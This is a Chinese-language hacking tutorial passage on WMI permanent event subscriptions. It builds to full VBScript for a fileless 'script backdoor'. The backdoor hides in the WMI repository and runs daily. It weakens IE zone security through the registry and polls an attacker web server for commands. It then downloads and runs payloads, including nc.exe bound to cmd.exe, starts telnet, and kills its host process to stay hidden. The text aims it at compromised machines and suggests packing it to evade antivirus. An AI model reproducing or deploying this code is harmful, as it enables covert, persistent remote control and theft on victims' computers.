【来做个后门】
在讨论脚本后门前,先要介绍一类很有用的WMI对象。事实上,这才是本节的关键。脚本后门不过是它的一个应用而已。 前面已经说过,WMI是事件驱动的。整个事件处理机制分为四个部分: 1,事件生产者(provider):负责产生事件。WMI包含大量的事件生产者。有性能计数器之类的具体的事件生产者,也有类、实例的创建、修改、删除等通用的事件生产者。 2,事件过滤器(filter):系统每时每刻都在产生大量的事件,通过自定义过滤器,脚本可以捕获感兴趣的事件进行处理。 3,事件消费者(consumer):负责处理事件。它可以是可执行程序、动态链接库(dll,由WMI服务加载)或者脚本。 4,事件绑定(binding):通过将过滤器和消费者绑定,明确什么事件由什么消费者负责处理。 事件消费者可以分为临时的和永久的两类。临时的事件消费者只在其运行期间关心特定事件并处理。永久消费者作为类的实例注册在WMI名字空间中,一直有效直到它被注销。显然,永久事件消费者更具实用性。还是来看个例子: Codz: nslink="winmgmts:\.\root\cimv2:" ’只需要本地连接,所以用这种语法,不用swbemlocator对象’ set asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_ ’创建“活动脚本事件消费者”’ asec.name="stopped_spooler_restart_consumer" ’定义消费者的名字’ asec.scriptingengine="vbscript" ’定义脚本语言(只能是vbscript)’ asec.scripttext="getobject(""winmgmts:win32_service=’spooler’"").startservice" ’脚本代码’ set asecpath=asec.put_ ’注册消费者,返回其链接’ set evtflt=getobject(nslink&"__EventFilter").spawninstance_ ’创建事件过滤器’ evtflt.name="stopped_spooler_filter" ’定义过滤器的名字’ qstr="select * from __instancemodificationevent within 5 " ’每5秒查询一次“实例修改事件”’ qstr=qstr&"where targetinstance isa ""win32_service"" and " ’目标实例的类是win32_service’ qstr=qstr&"targetinstance.name=""spooler"" " ’实例名是spooler’ qstr=qstr&"and targetinstance.state=""stopped""" ’实例的state属性是stopped’ evtflt.query=qstr ’定义查询语句’ evtflt.querylanguage="wql" ’定义查询语言(只能是wql)’ set fltpath=evtflt.put_ ’注册过滤器,返回其链接’ set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_ ’创建过滤器和消费者的绑定’ fcbnd.consumer=asecpath.path ’指定消费者’ fcbnd.filter=fltpath.path ’指定过滤器’ fcbnd.put_ ’执行绑定’ wscript.echo "安装完成" 这个脚本的效果是:当“后台打印”服务(spooler)状态改变为停止时,消费者将进行处理——重启spooler。 先net start spooler,然后net stop spooler。最多5秒钟,spooler又会启动。 直接运行上面的脚本会出错,因为“活动脚本事件消费者”(ActiveScriptEventConsumer ASEC)默认没有被安装到root\cimv2名字空间。 用 记事本打开%windir%\system32\wbem\scrcons.mof,将第一行“#pragma namespace ("\\.\ Root\Default")”删除,或者修改为“#pragma namespace ("\\.\Root\cimv2")”。XP/2003没有这 一行,不用修改。 然后执行下面这个命令: C:\WINNT\system32\wbem>mofcomp.exe -N:root\cimv2 scrcons.mof Microsoft (R) 32-bit MOF 汇编器版本 1.50.1085.0007 版权所有 (c) Microsoft Corp. 1997-1999。保留所有权利。 正在分析 MOF 文件: scrcons.mof MOF 文件分析成功 将数据储存到储备库中... 已完成! 这样就把ASEC安装到root\cimv2了。mofcomp.exe和scrcons.mof都是系统自带的。 2000 默认将ASEC安装到root\default名字空间,而XP/2003默认已经安装到root\subscription名字空间,但由于事件过滤器 不能跨名字空间捕捉事件(XP/2003可以),事件绑定也不能跨名字空间,而大部分事件都在root\cimv2产生,所以需要重新安装ASEC到事件 源所在的名字空间。下面这个脚本自动完成ASEC重安装任务。 Codz: set shl=createobject("WScript.Shell") set fso=createobject("Scripting.FileSystemObject") path=shl.expandenvironmentstrings("%windir%\system32\wbem") set mof=fso.opentextfile(path&"\scrcons.mof",1,false,-1) ’mof都是Unicode格式的’ mofs=mof.readall mof.close mofs=replace(mofs,"\Default","\cimv2",1,1) ’替换默认的名字空间’ mofp=path&"\asecimv2.mof" set mof=fso.createtextfile(mofp,false,true) ’创建临时mof文件’ mof.write mofs mof.close shl.run path&"\mofcomp.exe -N:root\cimv2 "&mofp,0,true ’安装到root\cimv2’ fso.deletefile(mofp) wscript.echo "安装完成" 注销永久事件: Codz: nslink="winmgmts:\.\root\cimv2:" myconsumer="stopped_spooler_restart_consumer" ’指定消费者的名字’ myfilter="stopped_spooler_filter" ’指定过滤器的名字’ set binds=getobject(nslink&"__FilterToConsumerBinding").instances_ for each bind in binds if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _ and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then getobject("winmgmts:"&bind.consumer).delete_ ’删除消费者’ getobject("winmgmts:"&bind.filter).delete_ ’删除过滤器’ bind.delete_ ’删除绑定’ exit for end if next wscript.echo "卸载完成" 除 了ASEC,WMI还提供其他永久事件消费者,比如SMTPEventConsumer。当系统出现异常时,可以通过它自动给管理员的信箱发信。 WMITools里的WMI Event Registration用于创建、修改、删除指定名字空间里的永久事件消费者、事件过滤器和计时器事件源的实 例,以及绑定或解除绑定它们。 关于事件处理机制的各个部分,在《WMI技术指南》里有详细的讲述,MSDN里当然更全面。我就点到为止了。 (看累了吧,喝口水,休息一下 ^_^) 下面开始讨论脚本后门。 WMI 提供了两个计时器:__AbsoluteTimerInstruction和__IntervalTimerInstruction,分别在指定的时刻和 时间间隔产生事件,注册一个过滤器来捕获计时器事件,再和ASEC绑定,我们就获得了一种少见的程序自启动的方法。而且,脚本代码完全隐藏在CIM存储库 中,不以独立的文件存在,查杀比较困难。这是脚本后门的优势,但困难也不少: 1,脚本运行时,由系统自带的scrcons.exe作为脚本 宿主(Windows的设计者还没有笨到用WMI服务作为脚本宿主)。这就会增加一个进程,虽然是系统正常的进程,杀毒软件拿它没辙,但还是太显眼了。所 以,不能让脚本一直在后台运行,而是应该每隔一段时间启动一次,然后尽快结束。脚本结束后,scrcons.exe进程不会自动结束,必须让脚本借助 WMI提供的Win32_Process对象主动终止宿主进程(煮豆燃豆萁?!)。 2,脚本的网络功能很差,基本上只能依靠 Microsoft.XMLHTTP之类的对象。因此,脚本后门不能监听端口并提供cmd shell,只能反向连接到web服务器,获取控制命令。一个 可行的办法是,在web服务器上放一个命令文件,脚本后门根据域名找到服务器并下载命令文件,再根据文件内容作出响应。所以,你需要一台web服务器,或 者用netbox等工具建个临时服务器。当然,你不需要让服务器总是在线,需要控制脚本后门时再运行就可以了。 3,由于脚本后门间歇式运行,需要防止重复运行同一个命令。解决方法是在注册表里记录命令的长度,每次获取命令后将长度和记录做比较,如果相同则跳过,不同则覆盖并执行命令。 4, 为了借助ie对象穿透防火墙,XMLHTTP对象必须在ie中被创建,这会受到Internet域安全级别的限制。即使将代码保存在html文件中再用 ie打开,也不过是“我的电脑”域,创建不安全的ActiveX对象还是会弹出警告对话框。解决办法是修改注册表,临时更改安全设置。 5, WScript对象由wscript.exe或cscript.exe提供,而scrcons.exe没有提供,所以很多常用的功能,比如 WScript.Sleep都不能用了。不能Sleep就无法异步使用XMLHTTP,而同步XMLHTTP可能被长时间阻塞,大大不利于后门的隐蔽。调 用ping命令来延时会创建新进程,用WScript.Shell的Popup方法延时则有“咚”一声提示音。好在Microsoft.XMLHTTP的 “亲戚”不少,比如Msxml2.XMLHTTP、Msxml2.ServerXMLHTTP、Msxml2.DOMDocument、 WinHttp.WinHttpRequest等。最后那个可以设置超时时间,刚好满足需要。 即使有重重困难,脚本后门仍然值得挑战一下。当肉鸡上的各类木马纷纷被杀毒软件肃清后,一个24小时才运行一次的脚本后门可能是你最后的希望。 下面是一个简单的脚本后门的核心代码(没有安装功能): Codz: cmdu="http://myweb./cmd.txt" ’从web服务器获取命令的url’ cmdw=4000 ’下载超时时间4秒’ cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" ’记录命令长度的键值名’ on error resume next ’忽略非致命错误 ’(调试时注释掉本行) set shl=createobject("WScript.Shell") ’虽然不能使用WScript根对象,其子对象还是可以用的’ set aso=createobject("ADODB.Stream") set ie=createobject("InternetExplorer.Application") ’使用ie绕过防火墙’ zone="HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" set1=zone&"01" set2=zone&"00" set3=zone&"\CurrentLevel" val1=shl.regread(set1) ’保存原来的安全设置’ val2=shl.regread(set2) val3=shl.regread(set3) regd="REG_DWORD" shl.regwrite set1,0,regd &n, bsp; ’允许在Internet域运行不安全的ActiveX’ shl.regwrite set2,0,regd ’允许活动脚本’ shl.regwrite set3,0,regd ’设置当前Internet域安全级别为“自定义”’ ie.visible=0 ’:ie.visible=1 ’(调试用) ie.navigate "about"&":blank" ’这里使用字符串连接纯属反论坛过滤’ ie.document.write _ "<script>function whr(){return new ActiveXObject(’WinHttp.WinHttpRequest.5.1’)}</script>" set whr=ie.document.script.whr() ’在ie内创建WinHttpRequest对象’ whr.settimeouts cmdw,cmdw,cmdw,cmdw ’设置域名解析、连接、发送和接收超时时间’ whr.open "GET",cmdu,true ’获取命令文件’ whr.send if not whr.waitforresponse(cmdw) then die if whr.status>299 then die rt=whr.responsetext ’:wscript.echo rt ’(调试用) ’:shl.regwrite cmdl,0,regd ’(调试用) if len(rt)=shl.regread(cmdl) then die ’与前一个命令的长度比较’ shl.regwrite cmdl,len(rt),regd ’更新命令长度’ cmds=split(rt,vbcrlf,-1) if ubound(cmds)<1 then die cmdt=lcase(trim(cmds(0))) ’:wscript.echo cmdt ’(调试用) aso.type=1 aso.open cd=shl.currentdirectory&chr(92) select case cmdt ’分析命令文件类型’ case "’vbs" ’是vbs’ execute(rt) ’直接在当前脚本上下文中执行’ die case ":bat" ’是批处理’ aso.write whr.responsebody aso.savetofile cd&"_.bat",2 ’保存在当前目录’ aso.close shl.run chr(34)&cd&"_.bat""",0 ’运行批处理’ die case "’wsh" ’是Windows脚本’ aso.write whr.responsebody aso.savetofile cd&"_.vbs",2 ’保存在当前目录’ aso.close shl.run "cscript.exe """&cd&"_.vbs""",0 ’使用cscript作为脚本宿主’ die case "exe" ’exe需进一步分析’ case else die end select if ubound(cmds)<4 then die ’:wscript.echo cmds(1) ’(调试用) whr.open "GET",cmds(1),true ’从指定位置下载exe文件’ whr.send if not whr.waitforresponse(cmds(2)) then die if whr.status>299 then die path=shl.expandenvironmentstrings(cmds(3))’展开保存路径中的环境变量’ aso.write whr.responsebody ’:wscript.echo path ’(调试用) aso.savetofile path,2 ’保存exe文件’ aso.close shl.run chr(34)&path&""" "&cmds(4),0 ’执行exe’ die sub die ie.quit shl.regwrite set1,val1,regd ’还原Internet域安全设置’ shl.regwrite set2,val2,regd shl.regwrite set3,val3,regd for each ps in getobject("winmgmts:\.\root\cimv2:win32_process").instances_ if lcase(ps.name)="scrcons.exe" then ps.terminate ’自杀’ next ’wscript.echo "die": wscript.quit ’(调试用) end sub 取消调试语句的注释,上面这段核心代码就可以直接运行。 它将试图从myweb.上获取cmd.txt,根据里面的内容进一步行动。 cmd.txt看起来像这样: Codz: exe //被执行的文件类型,可以是’vbs、:bat、exe或wsh http://myweb./nc.exe //被执行的文件的下载url 4000 //下载超时时间,单位毫秒 %windir%\system32\nc.exe //文件的保存位置,支持环境变量 -L -p 1234 -e cmd.exe //命令行参数 收到上面这个命令后,脚本将从指定url下载nc.exe,保存到系统目录并运行。 如果第一行的文件类型为’vbs、’wsh或:bat,则把命令文件本身当作脚本或批处理来执行。比如: Codz: :bat net start telnet :启动telnet服务 del %0 :自删除 如果只是想让某台主机执行命令,可以这样: Codz: :bat ipconfig | find "123.45.67.89" && net start telnet del %0 这样就只有ip地址为123.45.67.89的主机才会启动telnet。 ’wsh和’vbs的区别是,前者保存为文件由cscript.exe调用,后者直接在脚本后门“内部”执行。 使用’vbs的好处是不用生成文件,而且可以直接利用后门中已经创建的对象,比如shl,但也因此不能用WScript根对象。 下面的’vbs命令文件把"本地帐户的共享和安全模式"由"仅来宾"改为"经典"(对XP和2003有效): Codz: ’vbs shl.regwrite "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0,"REG_DWORD" 注意,vbs和wsh前面都有一个单引号,因为整个命令文件都作为脚本执行,所以必须注释掉第一行,:bat也是一样。 使用’vbs时千万注意不要有语法错误,否则会使后门出错并停止。如果是复杂的脚本,建议使用’wsh。 将核心代码改写为单行字符串格式,就可以作为ASEC的实例安装了。改写时要注意"if"和"end if"配对以及去掉续行符。 完整的安装脚本代码如下: Codz: ’***以下为参数配置,请根据情况自行修改***’ nslink="winmgmts:\.\root\cimv2:" ’名字空间’ doorname="vbscript_backdoor" ’记住后门的名字,卸载时需要’ runinterval=86400000 ’每天运行一次’ cmdu="http://myweb./cmd.txt" ’命令文件的位置’ cmdw=4000 ’文件下载超时时间’ cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" ’保存命令长度的键值名’ ’***参数配置结束***’ createobject("WScript.Shell").regwrite cmdl,0,"REG_DWORD" ’脚本后门核心代码’ stxt="cmdu="""&cmdu&""":cmdw="&cmdw&":cmdl="""&cmdl&""":on error resume next:set shl=createobject(""WScript.Shell""):set aso=createobject(""ADODB.Stream""):set ie=createobject(""InternetExplorer.Application""):zone=""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones"":set1=zone&""01"":set2=zone&""00"":set3=zone&""\CurrentLevel"":val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=""REG_DWORD"":shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate ""about""&"":blank"":ie.document.write ""<script>function whr(){return new ActiveXObject(’WinHttp.WinHttpRequest.5.1’)}</script>"":with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open ""GET"",cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status>299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds)<1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):select case cmdt:case ""’vbs"":execute(rt):die:case "":bat"":aso.write .responsebody:aso.savetofile cd&""_.bat"",2:aso.close:shl.run chr(34)&cd&""_.bat"""""",0:die:case ""’wsh"":aso.write .responsebody:aso.savetofile cd&""_.vbs"",2:aso.close:shl.run ""cscript.exe """"""&cd&""_.vbs"""""",0:die:case ""exe"":case else die:end select:if ubound(cmds)<4 then die:end if:.open ""GET"",cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status>299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34)&path&"""""" ""&cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(""winmgmts:\.\root\cimv2:win32_process"").instances_:if lcase(ps.name)=""scrcons.exe"" then ps.terminate:end if:next:end sub" ’配置事件消费者’ set asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_ asec.name=doorname&"_consumer" asec.scriptingengine="vbscript" asec.scripttext=stxt set asecpath=asec.put_ ’配置计时器’ set itimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_ itimer.timerid=doorname&"_itimer" itimer.intervalbetweenevents=runinterval itimer.skipifpassed=false itimer.put_ ’配置事件过滤器’ set evtflt=getobject(nslink&"__EventFilter").spawninstance_ evtflt.name=doorname&"_filter" evtflt.query="select * from __timerevent where timerid="""&doorname&"_itimer""" evtflt.querylanguage="wql" set fltpath=evtflt.put_ ’绑定消费者和过滤器’ set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_ fcbnd.consumer=asecpath.path fcbnd.filter=fltpath.path fcbnd.put_ wscript.echo "安装完成" 与 前一个永久事件处理过程不同的是,脚本后门的事件源是计时器,在每个名字空间都可以实例化并触发事件。所以,不一定要将ASEC安装到root\ cimv2。特别是XP/2003,ASEC默认已经安装到root\subscription,只需要相应修改nslink的值,就可以安装脚本后门 了。 卸载脚本后门: Codz: cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" createobject("WScript.Shell").regdelete cmdl ’删除保存命令长度的键值’ nslink="winmgmts:\.\root\cimv2:" doorname="vbscript_backdoor" ’根据脚本后门的名字找到各个对象实例’ myconsumer=doorname&"_consumer" mytimer=doorname&"_itimer" myfilter=doorname&"_filter" set binds=getobject(nslink&"__FilterToConsumerBinding").instances_ for each bind in binds if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _ and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then bind.delete_ exit for end if next getobject(nslink&"ActiveScriptEventConsumer.Name="""&myconsumer&"""").delete_ getobject(nslink&"__IntervalTimerInstruction.TimerId="""&mytimer&"""").delete_ getobject(nslink&"__EventFilter.Name="""&myfilter&"""").delete_ wscript.echo "卸载完成" 几点补充说明: 1,脚本后门的优势在于隐蔽,所以24小时才运行一次是合适的。不用担心因为系统关机而错过运行机会,下次启动时会补上的。 2,为了更好的反查杀,可以给脚本后门的核心代码加壳。在功能上也可以改进到接近IRC木马的程度,只不过服务端是Web服务器,不能同时养太多的马。 3,脚本后门的自启动和运行依赖于WMI服务,虽然禁用WMI服务就可以杜绝此类后门和木马,但比起通过注册表启动还是可靠的多。如果被蠕虫病毒利用,恐怕会很麻烦吧。 【结语】 Windows脚本就像万能胶,能够把独立的程序、服务、控件组合起来完成任务。脚本编程的技巧就是组合的技巧。XP和2003比2000自带更多的命令行工具,WMI也大大加强了,脚本的功能水涨船高,可以说是“只有想不到,没有做不到”。一切有待你的发掘。 最后,感谢你耐心看完本文,希望本文可以为你学习Windows脚本提供一些帮助。 欢迎来信与我交流 zzzevazzz@126.com 欢迎访问幻影旅团 http://www. 【参考资料】 [1] 《Windows脚本技术》 介绍Windows脚本的基础知识 http://download.microsoft.com/downl...CN/scd56chs.exe [2] WMITools 学习脚本必备,包括CIM Studio、Event Registration、Event Viewer和Object Browser四个工具 http://download.microsoft.com/downl...US/WMITools.exe [3] 《WMI技术指南》 出版社:机械工业出版社 作者:Marcin Policht http://www./itbook/itb...lbbh=BH99801035 [4] 《System Administration Scripting Guide》 包含大量WMI脚本示例 http://www./soft/script_repository.chm [5] Script Encoder 官方脚本编码工具 http://download.microsoft.com/downl...CN/sce10chs.exe [6] 微软脚本中心 http://www.microsoft.com/china/tech...er/default.mspx [7] 《MS Windows Script Host 2.0 Developers Guide》 http://www./soft/wsh.zip |
|